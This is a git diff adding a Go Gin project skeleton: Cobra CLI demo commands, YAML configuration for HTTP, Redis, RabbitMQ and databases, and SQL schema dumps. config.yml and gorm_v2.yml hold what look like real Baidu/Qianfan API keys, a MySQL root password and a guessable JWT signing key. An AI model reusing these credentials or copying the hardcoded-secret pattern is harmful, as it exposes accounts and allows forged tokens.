router.Run(variable.ConfigYml.GetString("HttpServer.Api.Port")) +} diff --git a/GinSkeleton/cmd/cli/main.go b/GinSkeleton/cmd/cli/main.go new file mode 100644 index 0000000..5bbb189 --- /dev/null +++ b/GinSkeleton/cmd/cli/main.go @@ -0,0 +1,12 @@ +package main + +import ( + _ "goskeleton/bootstrap" + cmd "goskeleton/command" +) + +// 开发非http接口类服务入口 +func main() { + // 设置运行模式为 cli(console) + cmd.Execute() +} diff --git a/GinSkeleton/cmd/web/main.go b/GinSkeleton/cmd/web/main.go new file mode 100644 index 0000000..bea21ba --- /dev/null +++ b/GinSkeleton/cmd/web/main.go @@ -0,0 +1,15 @@ +package main + +import ( + // "goskeleton/app/global/variable" + _ "goskeleton/bootstrap" + "goskeleton/routers" +) + +// 这里可以存放后端路由(例如后台管理系统) +func main() { + // router := routers.InitWebRouter() + // _ = router.Run(variable.ConfigYml.GetString("HttpServer.Web.Port")) + r:=routers.InitWebRouter_Co() + r.Run("localhost:14514") +} diff --git a/GinSkeleton/command/demo/demo.go b/GinSkeleton/command/demo/demo.go new file mode 100644 index 0000000..a9adb95 --- /dev/null +++ b/GinSkeleton/command/demo/demo.go @@ -0,0 +1,76 @@ +package demo + +import ( + "github.com/spf13/cobra" + "goskeleton/app/global/variable" +) + +// Demo示例文件,我们假设一个场景: +// 通过一个命令指定 搜索引擎(百度、搜狗、谷歌)、搜索类型(文本、图片)、关键词 执行一系列的命令 + +var ( + // 1.定义一个变量,接收搜索引擎(百度、搜狗、谷歌) + SearchEngines string + // 2.搜索的类型(图片、文字) + SearchType string + // 3.关键词 + KeyWords string +) + +var logger = variable.ZapLog.Sugar() + +// 定义命令 +var Demo1 = &cobra.Command{ + Use: "sousuo", + Aliases: []string{"sou", "ss", "s"}, // 定义别名 + Short: "这是一个Demo,以搜索内容进行演示业务逻辑...", + Long: `调用方法: + 1.进入项目根目录(Ginkeleton)。 + 2.执行 go run cmd/cli/main.go sousuo -h //可以查看使用指南 + 3.执行 go run cmd/cli/main.go sousuo 百度 // 快速运行一个Demo + 4.执行 go run cmd/cli/main.go sousuo 百度 -K 关键词 -E baidu -T img // 指定参数运行Demo + `, + //Args: cobra.ExactArgs(2), // 限制非flag参数(也叫作位置参数)的个数必须等于 2 ,否则会报错 + // Run命令以及子命令的前置函数 + PersistentPreRun: func(cmd *cobra.Command, args []string) { + //如果只想作为子命令的回调,可以通过相关参数做判断,仅在子命令执行 + logger.Infof("Run函数子命令的前置方法,位置参数:%v ,flag参数:%s, %s, %s \n", args[0], SearchEngines, SearchType, KeyWords) + }, + // Run命令的前置函数 + PreRun: func(cmd *cobra.Command, args []string) { + logger.Infof("Run函数的前置方法,位置参数:%v ,flag参数:%s, %s, %s \n", args[0], SearchEngines, SearchType, KeyWords) + + }, + // Run 命令是 核心 命令,其余命令都是为该命令服务,可以删除,由您自由选择 + Run: func(cmd *cobra.Command, args []string) { + //args 参数表示非flag(也叫作位置参数),该参数默认会作为一个数组存储。 + //fmt.Println(args) + start(SearchEngines, SearchType, KeyWords) + }, + // Run命令的后置函数 + PostRun: func(cmd *cobra.Command, args []string) { + logger.Infof("Run函数的后置方法,位置参数:%v ,flag参数:%s, %s, %s \n", args[0], SearchEngines, SearchType, KeyWords) + }, + // Run命令以及子命令的后置函数 + PersistentPostRun: func(cmd *cobra.Command, args []string) { + //如果只想作为子命令的回调,可以通过相关参数做判断,仅在子命令执行 + logger.Infof("Run函数子命令的后置方法,位置参数:%v ,flag参数:%s, %s, %s \n", args[0], SearchEngines, SearchType, KeyWords) + }, +} + +// 注册命令、初始化参数 +func init() { + Demo1.AddCommand(subCmd) + Demo1.Flags().StringVarP(&SearchEngines, "Engines", "E", "baidu", "-E 或者 --Engines 选择搜索引擎,例如:baidu、sogou") + Demo1.Flags().StringVarP(&SearchType, "Type", "T", "img", "-T 或者 --Type 选择搜索的内容类型,例如:图片类") + Demo1.Flags().StringVarP(&KeyWords, "KeyWords", "K", "关键词", "-K 或者 --KeyWords 搜索的关键词") + //Demo1.Flags().BoolP(1,2,3,5) //接收bool类型参数 + //Demo1.Flags().Int64P() //接收int型 +} + +//开始执行 +func start(SearchEngines, SearchType, KeyWords string) { + + logger.Infof("您输入的搜索引擎:%s, 搜索类型:%s, 关键词:%s\n", SearchEngines, SearchType, KeyWords) + +} diff --git a/GinSkeleton/command/demo/sub_cmd.go b/GinSkeleton/command/demo/sub_cmd.go new file mode 100644 index 0000000..ec9ccb1 --- /dev/null +++ b/GinSkeleton/command/demo/sub_cmd.go @@ -0,0 +1,23 @@ +package demo + +import ( + "fmt" + "github.com/spf13/cobra" +) + +// 定义子命令 +var subCmd = &cobra.Command{ + Use: "subCmd", + Short: "subCmd 命令简要介绍", + Long: `命令使用详细介绍`, + Args: cobra.ExactArgs(1), // 限制非flag参数的个数 = 1 ,超过1个会报错 + Run: func(cmd *cobra.Command, args []string) { + fmt.Printf("%s\n", args[0]) + }, +} + +//注册子命令 +func init() { + Demo1.AddCommand(subCmd) + // 子命令仍然可以定义 flag 参数,相关语法参见 demo.go 文件 +} diff --git a/GinSkeleton/command/demo_simple/simple.go b/GinSkeleton/command/demo_simple/simple.go new file mode 100644 index 0000000..4fd0915 --- /dev/null +++ b/GinSkeleton/command/demo_simple/simple.go @@ -0,0 +1,48 @@ +package demo_simple + +import ( + "github.com/spf13/cobra" + "goskeleton/app/global/variable" + "time" +) + +var ( + LogAction string + Date string + logger = variable.ZapLog.Sugar() +) + +// 简单示例 +var DemoSimple = &cobra.Command{ + Use: "demo_simple", + Aliases: []string{"demo_simple"}, // 定义别名 + Short: "这是一个最简单的demo示例", + Long: `调用方法: + 1.进入项目根目录(Ginkeleton)。 + 2.执行 go run cmd/cli/main.go demo_simple -h //可以查看使用指南 + 3.执行 go run cmd/cli/main.go demo_simple -A create // 通过 Action 动作执行相应的命令 + `, + // Run 命令是 核心 命令,其余命令都是为该命令服务,可以删除,由您自由选择 + Run: func(cmd *cobra.Command, args []string) { + //args 参数表示非flag(也叫作位置参数),该参数默认会作为一个数组存储。 + //fmt.Println(args) + start(LogAction, Date) + }, +} + +// 注册命令、初始化参数 +func init() { + DemoSimple.Flags().StringVarP(&LogAction, "logAction", "A", "insert", "-A 指定参数动作,例如:-A insert ") + DemoSimple.Flags().StringVarP(&Date, "date", "D", time.Now().Format("2006-01-02"), "-D 指定日期,例如:-D 2021-09-13") +} + +// 开始执行业务 +func start(actionName, Date string) { + switch actionName { + case "insert": + logger.Info("insert 参数执行对应业务逻辑,Date参数值:" + Date) + case "update": + logger.Info("update 参数执行对应业务逻辑,Date参数值:" + Date) + } + +} diff --git a/GinSkeleton/command/root.go b/GinSkeleton/command/root.go new file mode 100644 index 0000000..2d46a4f --- /dev/null +++ b/GinSkeleton/command/root.go @@ -0,0 +1,41 @@ +package cmd + +import ( + "fmt" + "github.com/spf13/cobra" + "goskeleton/command/demo" + "goskeleton/command/demo_simple" + "os" +) + +// cli 命令基于 https://github.com/spf13/cobra 封装 +// RootCmd represents the base command when called without any subcommands + +var RootCmd = &cobra.Command{ + Use: "Cli", + Short: "A brief description of your application", + Long: `A longer description that spans multiple lines and likely contains + examples and usage of using your application. For example: + + Cobra is a CLI library for Go that empowers applications. + This application is a tool to generate the needed files + to quickly create a Cobra application.`, +} + +// Execute adds all child commands to the root command and sets flags appropriately. +// This is called by main.main(). It only needs to happen once to the RootCmd. +func Execute() { + if err := RootCmd.Execute(); err != nil { + fmt.Println(err) + os.Exit(1) + } +} + +func init() { + + // 如果子命令是存在于子目录,那么就需要在入口统一添加; + // 如果和 root.go 同目录,则不需要像下一行一样添加 + RootCmd.AddCommand(demo.Demo1) + RootCmd.AddCommand(demo_simple.DemoSimple) + +} diff --git a/GinSkeleton/config/config.yml b/GinSkeleton/config/config.yml new file mode 100644 index 0000000..ac86283 --- /dev/null +++ b/GinSkeleton/config/config.yml @@ -0,0 +1,157 @@ +AppDebug: true # 设置程序所处的模式,debug=true 调试模式,日志优先显示在控制台, debug=false 非调试模式,将写入日志文件 + +HttpServer: + Api: + Port: ":20191" #门户网站类端口,注意前面有冒号 + Web: + Port: ":20201" #后端应用类端口,注意前面有冒号 + AllowCrossDomain: true #是否允许跨域,默认 允许,更多关于跨域的介绍从参考:https://www.yuque.com/xiaofensinixidaouxiang/bkfhct/kxddzd + TrustProxies: #设置gin可以信任的代理服务器(例如 nginx 前置代理服务器),详情参见文档:https://www.yuque.com/xiaofensinixidaouxiang/bkfhct/vmobe7 + IsOpen: 0 # 可选值(0 或者 1),如果 go 服务是被 nginx 代理,建议该值设置为 1,将 nginx 代理及机器的ip添加到 ProxyServerList 列表 + ProxyServerList: + - "192.168.10.1" # nginx 代理服务器ip地址 + - "192.168.10.2" +RSA: + KeySize: 2048 + +Token: + JwtTokenSignKey: "goskeleton" #设置token生成时加密的签名 + JwtTokenOnlineUsers: 10 #一个账号密码允许最大获取几个有效的token,当超过这个值,第一次获取的token的账号、密码就会失效 + JwtTokenCreatedExpireAt: 28800 #创建时token默认有效秒数(token生成时间加上该时间秒数,算做有效期),3600*8=28800 等于8小时 + JwtTokenRefreshAllowSec: 86400 #对于过期的token,允许在多少小时之内刷新,超过此时间则不允许刷新换取新token,86400=3600*24,即token过期24小时之内允许换新token + JwtTokenRefreshExpireAt: 36000 #对于过期的token,支持从相关接口刷新获取新的token,它有效期为10个小时,3600*10=36000 等于10小时 + BindContextKeyName: "userToken" #用户在 header 头部提交的token绑定到上下文时的键名,方便直接从上下文(gin.context)直接获取每个用户的id等信息 + IsCacheToRedis: 0 #用户token是否缓存到redis, 如果已经正确配置了redis,建议设置为1, 开启redis缓存token,(1=用户token缓存到redis; 0=token只存在于mysql) + +Redis: + Host: "127.0.0.1" + Port: 6379 + Auth: "" + MaxIdle: 10 + MaxActive: 1000 + IdleTimeout: 60 + IndexDb: 1 # 注意 redis 默认连接的是 1 号数据库,不是 0号数据库 + ConnFailRetryTimes: 3 #从连接池获取连接失败,最大重试次数 + ReConnectInterval: 1 # 从连接池获取连接失败,每次重试之间间隔的秒数 + +Logs: + GinLogName: "/storage/logs/gin.log" #设置 gin 框架的接口访问日志 + GoSkeletonLogName: "/storage/logs/goskeleton.log" #设置GoSkeleton项目骨架运行时日志文件名,注意该名称不要与上一条重复 ,避免和 gin 框架的日志掺杂一起,造成混乱。 + TextFormat: "json" #记录日志的格式,参数选项:console、json , console 表示一般的文本格式 + TimePrecision: "millisecond" #记录日志时,相关的时间精度,该参数选项:second 、 millisecond , 分别表示 秒 和 毫秒 ,默认为毫秒级别 + MaxSize: 10 #每个日志的最大尺寸(以MB为单位), 超过该值,系统将会自动进行切割 + MaxBackups: 7 #保留旧日志最大个数 + MaxAge: 15 #保留旧日志最大天数 + Compress: false #日志备份时,是否进行压缩 + +Websocket: #该服务与Http具有相同的ip、端口,因此不需要额外设置端口 + Start: 0 #默认不启动该服务(1=启动;0=不启动) + WriteReadBufferSize: 20480 # 读写缓冲区分配字节,大概能存储 6800 多一点的文字 + MaxMessageSize: 65535 # 从消息管道读取消息的最大字节 + PingPeriod: 20 #心跳包频率,单位:秒 + HeartbeatFailMaxTimes: 4 # 允许心跳失败的最大次数(默认设置为PingPeriod=30秒检测一次,连续4次没有心跳就会清除后端在线信息) + ReadDeadline: 100 # 客户端在线情况下,正常的业务消息间隔秒数必须小于该值,否则服务器将会主动断开,该值不能小于心跳频率*允许失败次数,单位:秒。 0 表示不设限制,即服务器不主动断开不发送任何消息的在线客户端,但会消耗服务器资源 + WriteDeadline: 35 # 消息单次写入超时时间,单位:秒 + +SnowFlake: + SnowFlakeMachineId: 2 #如果本项目同时部署在多台机器,并且需要同时使用该算法,请为每一台机器设置不同的ID,区间范围: [0,1023] + +FileUploadSetting: + Size: 32 #设置上传文件的最大值,单位:M,注意: 如果go前置nginx服务器,nginx 默认限制文件上传大小为 50 M ,用户上传文件限制还需要继续修改 nginx 配置 + UploadFileField: "file" #post上传文件时,表单的键名 + UploadFileSavePath: "/storage/app/uploaded/" #上传文件保存在路径, 该路径与 BasePath 进行拼接使用 + UploadFileReturnPath: "/public/storage/uploaded/" # 文件上后返回的路径,由于程序会自动创建软连接,自动将资源定位到实际路径,所有资源的访问入口建议都从public开始 + AllowMimeType: #允许的文件mime类型列表 + - "image/jpeg" #jpg、jpeg图片格式 + - "image/png" #png图片格式 + - "image/x-icon" #ico图片 + - "image/bmp" #bmp图片 + - "application/zip" #xlsx、docx、zip + - "application/x-gzip" #tar.gz + - "text/plain; charset=utf-8" #txt log json等文本文件 + - "video/mp4" #视频文件,例如:mp4 + - "audio/mpeg" #音频文件,例如: mp3 + +# casbin 权限控制api接口 +Casbin: + # Casbin打开以后注意事项:Mysql/MariDb 低版本数据库如果数据库表的引擎默认是 Myisam, + # 程序会报错:Specified key was too long; max key length is 1000 bytes + # 请手动复制 database/db_demo_mysql.sql 中创建 tb_auth_casbin_rule 的代码自行创建InnoDb引擎的表,重新启动本项目即可 + IsInit: 0 # 是否随项目启动同步初始化:1=是;0=否, 开启 Casbin 前请确保数据库连接配置正确 + AutoLoadPolicySeconds: 5 # 扫描数据库策略的频率(单位:秒) + TablePrefix: "tb" # mysql、sqlserver 前缀为 tb ;postgres 数据库前缀请设置为 web.tb,其中 web 是本项目创建的的模式 + TableName: "auth_casbin_rule" # 程序最终创建的表为: tb_auth_casbin_rule (即在前缀和名称之间自动添加了下划线 _ ) + ModelConfig: | # 竖线 | 表示以下整段文本保持换行格式 + [request_definition] + r = sub, obj, act + [policy_definition] + p = sub, obj, act + [role_definition] + g = _ , _ + [policy_effect] + e = some(where (p.eft == allow)) + [matchers] + m = (g(r.sub, p.sub) || p.sub == "*" ) && keyMatch(r.obj , p.obj) && (r.act == p.act || p.act == "*") + +RabbitMq: + HelloWorld: + #消息服务器地址、账号、密码, / (斜杠)表示默认的虚拟主机,如果是开发者自己创建的,直接追加在 / (斜杠)后面即可,例如:amqp://账号:密码@ip地址:5672/ginskeleton + Addr: "amqp://账号:密码@ip地址:5672/" + QueueName: "helloword_queue" + Durable: false #消息是否持久化 + ConsumerChanNumber: 2 #消费者通道数量(允许一个消费者使用几个连接通道消费、处理消息) + OffLineReconnectIntervalSec: 5 #消费者掉线后,重连间隔的秒数 + RetryCount: 5 #消费者掉线后,尝试重连最大次数 + WorkQueue: + Addr: "amqp://账号:密码@ip地址:5672/" #参照前文地址说明 + QueueName: "work_queue" + Durable: false #消息是否持久化 + ConsumerChanNumber: 2 #消费者通道数量(允许一个消费者使用几个连接通道消费、处理消息) + OffLineReconnectIntervalSec: 5 #消费者掉线后,重连间隔的秒数 + RetryCount: 5 #消费者掉线后,尝试重连最大次数 + PublishSubscribe: + Addr: "amqp://账号:密码@ip地址:5672/" #消息服务器地址、账号、密码 + ExchangeType: "fanout" + ExchangeName: "fanout_exchange" #即时消息队列名称, + DelayedExchangeName: "delayed_fanout_exchange" #延迟消息队列名称,必须事先在rabbitmq 服务器管理端手动创建 + Durable: false #消息是否持久化,如果初始化的是延迟消息队列,那么该参数会被程序强制设置为 true + QueueName: "" #队列名称,为空 表示所有订阅的消费者(consumer)都可以接受到同样的消息,如果设置名称,会导致只有最后一个启动的消费者能接受到消息。 + ConsumerChanNumber: 1 #消费者通道数量(发布、订阅模式消费者使用一个通道,避免多个通道重复收到数据) + OffLineReconnectIntervalSec: 10 #消费者掉线后,重连间隔的秒数 + RetryCount: 5 #消费者掉线后,尝试重连最大次数 + Routing: + Addr: "amqp://账号:密码@ip地址:5672/" #参照前文地址说明 + ExchangeType: "direct" + ExchangeName: "direct_exchange" + DelayedExchangeName: "delayed_direct_exchange" #延迟消息队列名称,必须事先在rabbitmq 服务器管理端手动创建 + Durable: false #消息是否持久化,如果初始化的是延迟消息队列,那么该参数会被程序强制设置为 true + QueueName: "" + OffLineReconnectIntervalSec: 10 #消费者掉线后,重连间隔的秒数 + RetryCount: 5 #消费者掉线后,尝试重连最大次数 + Topics: + Addr: "amqp://账号:密码@ip地址:5672/" #参照前文地址说明 + ExchangeType: "topic" + ExchangeName: "topic_exchange" + DelayedExchangeName: "delayed_topic_exchange" #延迟消息队列名称,必须事先在rabbitmq 服务器管理端手动创建 + Durable: false #消息是否持久化,如果初始化的是延迟消息队列,那么该参数会被程序强制设置为 true + QueueName: "" + OffLineReconnectIntervalSec: 10 #消费者掉线后,重连间隔的秒数 + RetryCount: 5 #消费者掉线后,尝试重连最大次数 + +#验证码(包括中间件)配置信息 +Captcha: + captchaId: "captcha_id" # 验证码id提交时的键名 + captchaValue: "captcha_value" #验证码值提交时的键名 + length: 4 # 验证码生成时的长度 + + +BaiduCE: + ApiKey: "AR1SUIjaKSsCcDjj11QzHDOc" # 生成鉴权签名时使用的 API_KEY + SecretKey: "zvEb5CzpuGCZNdQC1TPmDh3IOWn5aWDT" # 生成鉴权签名时使用的 SECRET_KEY + # QianFanAccessKey: "ALTAKOxb5YvHncyFr7Qbuv1cK0" # 访问千帆sdk 时用的 AccessKey + + QianFanAccessKey: "ALTAK0utWNCwEoQtGHvHYf46yj" + # QianFanSecretKey: "1edf17c358574e75b9913ebff7d95b61" # 访问千帆sdk 时用的 SecretKey + QianFanSecretKey: "cb812e1b6e56420ea858d160e1351869" + StyleGeneratePromptPath: "/storage/app/prompt/style_generate.prompt" # 生成样式的提示词保存路径 + LayoutGeneratePromptPath: "/storage/app/prompt/layout_generate.prompt" # 生成布局的提示词保存路径 diff --git a/GinSkeleton/config/gorm_v2.yml b/GinSkeleton/config/gorm_v2.yml new file mode 100644 index 0000000..65f3436 --- /dev/null +++ b/GinSkeleton/config/gorm_v2.yml @@ -0,0 +1,87 @@ +Gormv2: # 只针对 gorm 操作数据库有效 + UseDbType: "mysql" # 备选项 mysql 、sqlserver、 postgresql + SqlDebug: true # 请根据个人习惯设置,true 表示执行的sql全部会输出在终端(一般来说开发环境可能会方便调试) , false 表示默认不会在终端输出sql(生产环境建议设置为 false), + Mysql: + IsInitGlobalGormMysql: 1 # 随项目启动为gorm db初始化一个全局 variable.GormDbMysql(完全等于*gorm.Db),正确配置数据库,该值必须设置为: 1 + SlowThreshold: 30 # 慢 SQL 阈值(sql执行时间超过此时间单位(秒),就会触发系统日志记录) + Write: + Host: "127.0.0.1" + DataBase: "User" + Port: 3306 + Prefix: "tb_" # 目前没有用到该配置项 + User: "root" + Pass: "Gm33894239" + Charset: "utf8" + SetMaxIdleConns: 10 + SetMaxOpenConns: 128 + SetConnMaxLifetime: 60 # 连接不活动时的最大生存时间(秒) + #ReConnectInterval: 1 # 保留项,重连数据库间隔秒数 + #PingFailRetryTimes: 3 # 保留项,最大重连次数 + IsOpenReadDb: 0 # 是否开启读写分离配置(1=开启、0=关闭),IsOpenReadDb=1,Read 部分参数有效,否则Read部分参数直接忽略 + Read: + Host: "127.0.0.1" + DataBase: "User" + Port: 3308 #注意,非3306,请自行调整 + Prefix: "tb_" + User: "root" + Pass: "Gm33894239" + Charset: "utf8" + SetMaxIdleConns: 10 + SetMaxOpenConns: 128 + SetConnMaxLifetime: 60 + # 如果要使用sqlserver数据库,请在 app/model 目录,将 users_for_sqlserver.txt 的内容直接覆盖同目录的 users.go 即可 + SqlServer: + # 随项目启动为gorm db初始化一个全局 variable.GormDbMysql(完全等于*gorm.Db),正确配置数据库,该值必须设置为: 1 + # 此外,开启 sqlserver 数据库时,请在 app/model/users_for_sqlserver.txt 文件中,按照说明手动替换一下代码 + IsInitGlobalGormSqlserver: 0 + SlowThreshold: 30 + Write: + Host: "127.0.0.1" + DataBase: "db_goskeleton" + Port: 1433 + Prefix: "tb_" + User: "Sa" + Pass: "secret2017" + #ReConnectInterval: 1 # 保留项,重连数据库间隔秒数 + #PingFailRetryTimes: 3 # 保留项,最大重连次数 + SetMaxIdleConns: 10 + SetMaxOpenConns: 128 + SetConnMaxLifetime: 60 + IsOpenReadDb: 0 # 是否开启读写分离配置(1=开启、0=关闭),IsOpenReadDb=1,Read 部分参数有效,否则Read部分参数直接忽略 + Read: + Host: "127.0.0.1" + DataBase: "db_goskeleton" + Port: 1433 + Prefix: "tb_" + User: "Sa" + Pass: "secret2017" + SetMaxIdleConns: 10 + SetMaxOpenConns: 128 + SetConnMaxLifetime: 60 + # 如果要使用postgresql数据库,请在 app/model 目录,将 users_for_postgres.txt 的内容直接覆盖同目录的 users.go 即可 + PostgreSql: + IsInitGlobalGormPostgreSql: 0 # 随项目启动为gorm db初始化一个全局 variable.GormDbMysql(完全等于*gorm.Db),正确配置数据库,该值必须设置为: 1 + SlowThreshold: 30 + Write: + Host: "127.0.0.1" + DataBase: "db_goskeleton" + Port: 5432 + Prefix: "tb_" + User: "postgres" + Pass: "Secret2017~" + SetMaxIdleConns: 10 + SetMaxOpenConns: 128 + SetConnMaxLifetime: 60 + #ReConnectInterval: 1 # 保留项,重连数据库间隔秒数 + #PingFailRetryTimes: 3 # 保留项,最大重连次数 + IsOpenReadDb: 0 # 是否开启读写分离配置(1=开启、0=关闭),IsOpenReadDb=1,Read 部分参数有效,否则Read部分参数直接忽略 + Read: + Host: "127.0.0.1" + DataBase: "db_goskeleton" + Port: 5432 + Prefix: "tb_" + User: "postgres" + Pass: "secret2017" + SetMaxIdleConns: 10 + SetMaxOpenConns: 128 + SetConnMaxLifetime: 60 diff --git a/GinSkeleton/database/db_demo_mysql.sql b/GinSkeleton/database/db_demo_mysql.sql new file mode 100644 index 0000000..6a0f2df --- /dev/null +++ b/GinSkeleton/database/db_demo_mysql.sql @@ -0,0 +1,70 @@ + +/* CREATE DATABASE /*!32312 IF NOT EXISTS*/`db_goskeleton` /*!40100 DEFAULT CHARACTER SET utf8 */; */ +CREATE DATABASE IF NOT EXISTS `User`; + +/* USE `db_goskeleton`; */ +USE `User`; + +/*Table structure for table `tb_users` */ + +DROP TABLE IF EXISTS `tb_users`; + +CREATE TABLE `tb_users` ( + `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT, + `user_name` VARCHAR(30) DEFAULT '' COMMENT '账号', + `pass` VARCHAR(128) DEFAULT '' COMMENT '密码', + /* `real_name` VARCHAR(30) DEFAULT '' COMMENT '姓名', */ + /* `phone` CHAR(11) DEFAULT '' COMMENT '手机', */ + /* `status` TINYINT(4) DEFAULT 1 COMMENT '状态', */ + /* `remark` VARCHAR(255) DEFAULT '' COMMENT '备注', */ + /* `last_login_time` DATETIME DEFAULT CURRENT_TIMESTAMP, */ + /* `last_login_ip` CHAR(30) DEFAULT '' COMMENT '最近一次登录ip', */ + /* `login_times` INT(11) DEFAULT 0 COMMENT '累计登录次数', */ + /* `created_at` DATETIME DEFAULT CURRENT_TIMESTAMP, */ + /* `updated_at` DATETIME DEFAULT CURRENT_TIMESTAMP, */ + PRIMARY KEY (`id`) +) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8; + +/* oauth 表,主要控制一个用户可以同时拥有几个有效的token,通俗地说就是允许一个账号同时有几个人登录,超过将会导致最前面的人的token失效,而退出登录*/ +DROP TABLE IF EXISTS `tb_oauth_access_tokens`; + +CREATE TABLE `tb_oauth_access_tokens` ( + `id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT, + `fr_user_id` INT(11) DEFAULT 0 COMMENT '外键:tb_users表id', + `client_id` INT(10) UNSIGNED DEFAULT 1 COMMENT '普通用户的授权,默认为1', + `token` VARCHAR(500) DEFAULT NULL, + `action_name` VARCHAR(128) CHARACTER SET utf8 COLLATE utf8_unicode_ci DEFAULT '' COMMENT 'login|refresh|reset表示token生成动作', + `scopes` VARCHAR(128) CHARACTER SET utf8 COLLATE utf8_unicode_ci DEFAULT '[*]' COMMENT '暂时预留,未启用', + `revoked` TINYINT(1) DEFAULT 0 COMMENT '是否撤销', + `client_ip` VARCHAR(128) DEFAULT NULL COMMENT 'ipv6最长为128位', + `created_at` DATETIME DEFAULT CURRENT_TIMESTAMP, + `updated_at` DATETIME DEFAULT CURRENT_TIMESTAMP, + `expires_at` DATETIME DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `oauth_access_tokens_user_id_index` (`fr_user_id`) +) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8; + +/* 创建基于casbin控制接口访问的权限表*/ +DROP TABLE IF EXISTS `tb_auth_casbin_rule`; +CREATE TABLE `tb_auth_casbin_rule` ( +`id` int(10) unsigned NOT NULL AUTO_INCREMENT, +`ptype` varchar(100) DEFAULT 'p', +`v0` varchar(100) DEFAULT '', +`v1` varchar(100) DEFAULT '', +`v2` varchar(100) DEFAULT '*', +`v3` varchar(100) DEFAULT '', +`v4` varchar(100) DEFAULT '', +`v5` varchar(100) DEFAULT '', +PRIMARY KEY (`id`), +UNIQUE KEY `unique_index` (`ptype`,`v0`,`v1`,`v2`,`v3`,`v4`,`v5`) +) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 + +CREATE TABLE `tb_rsa_keypair` ( + `user_name` VARCHAR(30) DEFAULT '' COMMENT '账号', + `public_key` VARCHAR(512) DEFAULT '' COMMENT '公钥', + `private_key` VARCHAR(2048) DEFAULT '' COMMENT '私钥', + /* `pass` VARCHAR(128) DEFAULT '' COMMENT '密码', */ + PRIMARY KEY (`user_name`) +) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8; + + diff --git a/GinSkeleton/database/db_demo_postgre.sql b/GinSkeleton/database/db_demo_postgre.sql new file mode 100644 index 0000000..8dc45a8 --- /dev/null +++ b/GinSkeleton/database/db_demo_postgre.sql @@ -0,0 +1,297 @@ +-- +-- PostgreSQL database dump +-- + +-- Dumped from database version 10.17 +-- Dumped by pg_dump version 10.17 + +-- Started on 2021-08-04 12:22:01 + +SET statement_timeout = 0; +SET lock_timeout = 0; +SET idle_in_transaction_session_timeout = 0; +SET client_encoding = 'UTF8'; +SET standard_conforming_strings = on; +SELECT pg_catalog.set_config('search_path', '', false); +SET check_function_bodies = false; +SET xmloption = content; +SET client_min_messages = warning; +SET row_security = off; + +-- +-- TOC entry 5 (class 2615 OID 16570) +-- Name: web; Type: SCHEMA; Schema: -; Owner: postgres +-- + +CREATE SCHEMA web; + + +ALTER SCHEMA web OWNER TO postgres; + +SET default_tablespace = ''; + +SET default_with_oids = false; + +-- +-- TOC entry 200 (class 1259 OID 16609) +-- Name: tb_auth_casbin_rule; Type: TABLE; Schema: web; Owner: postgres +-- + +CREATE TABLE web.tb_auth_casbin_rule ( + id integer NOT NULL, + ptype character varying(100) DEFAULT 'p'::character varying NOT NULL, + p0 character varying(100) DEFAULT ''::character varying NOT NULL, + p1 character varying(100) DEFAULT ''::character varying NOT NULL, + p2 character varying(100) DEFAULT ''::character varying NOT NULL, + p3 character varying(100) DEFAULT ''::character varying NOT NULL, + p4 character varying(100) DEFAULT ''::character varying NOT NULL, + p5 character varying(100) DEFAULT ''::character varying NOT NULL, + created_at timestamp without time zone DEFAULT CURRENT_TIMESTAMP, + updated_at timestamp without time zone DEFAULT CURRENT_TIMESTAMP, + v0 character varying(100), + v1 character varying(100), + v2 character varying(100), + v3 character varying(100), + v4 character varying(100), + v5 character varying(100) +); + + +ALTER TABLE web.tb_auth_casbin_rule OWNER TO postgres; + +-- +-- TOC entry 199 (class 1259 OID 16607) +-- Name: tb_auth_casbin_rule_id_seq; Type: SEQUENCE; Schema: web; Owner: postgres +-- + +CREATE SEQUENCE web.tb_auth_casbin_rule_id_seq + AS integer + START WITH 1 + INCREMENT BY 1 + NO MINVALUE + NO MAXVALUE + CACHE 1; + + +ALTER TABLE web.tb_auth_casbin_rule_id_seq OWNER TO postgres; + +-- +-- TOC entry 2856 (class 0 OID 0) +-- Dependencies: 199 +-- Name: tb_auth_casbin_rule_id_seq; Type: SEQUENCE OWNED BY; Schema: web; Owner: postgres +-- + +ALTER SEQUENCE web.tb_auth_casbin_rule_id_seq OWNED BY web.tb_auth_casbin_rule.id; + + +-- +-- TOC entry 202 (class 1259 OID 16629) +-- Name: tb_oauth_access_tokens; Type: TABLE; Schema: web; Owner: postgres +-- + +CREATE TABLE web.tb_oauth_access_tokens ( + id integer NOT NULL, + fr_user_id integer DEFAULT 0, + client_id integer DEFAULT 1, + token character varying(500) DEFAULT ''::character varying NOT NULL, + action_name character varying(100) DEFAULT ''::character varying NOT NULL, + scopes character varying(100) DEFAULT '*'::character varying NOT NULL, + revoked smallint DEFAULT 0 NOT NULL, + client_ip character varying(20) DEFAULT ''::character varying, + expires_at timestamp without time zone DEFAULT CURRENT_TIMESTAMP, + created_at timestamp without time zone DEFAULT CURRENT_TIMESTAMP, + updated_at timestamp without time zone DEFAULT CURRENT_TIMESTAMP +); + + +ALTER TABLE web.tb_oauth_access_tokens OWNER TO postgres; + +-- +-- TOC entry 201 (class 1259 OID 16627) +-- Name: tb_oauth_access_tokens_id_seq; Type: SEQUENCE; Schema: web; Owner: postgres +-- + +CREATE SEQUENCE web.tb_oauth_access_tokens_id_seq + AS integer + START WITH 1 + INCREMENT BY 1 + NO MINVALUE + NO MAXVALUE + CACHE 1; + + +ALTER TABLE web.tb_oauth_access_tokens_id_seq OWNER TO postgres; + +-- +-- TOC entry 2857 (class 0 OID 0) +-- Dependencies: 201 +-- Name: tb_oauth_access_tokens_id_seq; Type: SEQUENCE OWNED BY; Schema: web; Owner: postgres +-- + +ALTER SEQUENCE web.tb_oauth_access_tokens_id_seq OWNED BY web.tb_oauth_access_tokens.id; + + +-- +-- TOC entry 198 (class 1259 OID 16591) +-- Name: tb_users; Type: TABLE; Schema: web; Owner: postgres +-- + +CREATE TABLE web.tb_users ( + id integer NOT NULL, + user_name character varying(30) DEFAULT ''::character varying NOT NULL, + pass character varying(128) DEFAULT ''::character varying NOT NULL, + real_name character varying(30) DEFAULT ''::character varying, + phone character(11) DEFAULT ''::bpchar, + 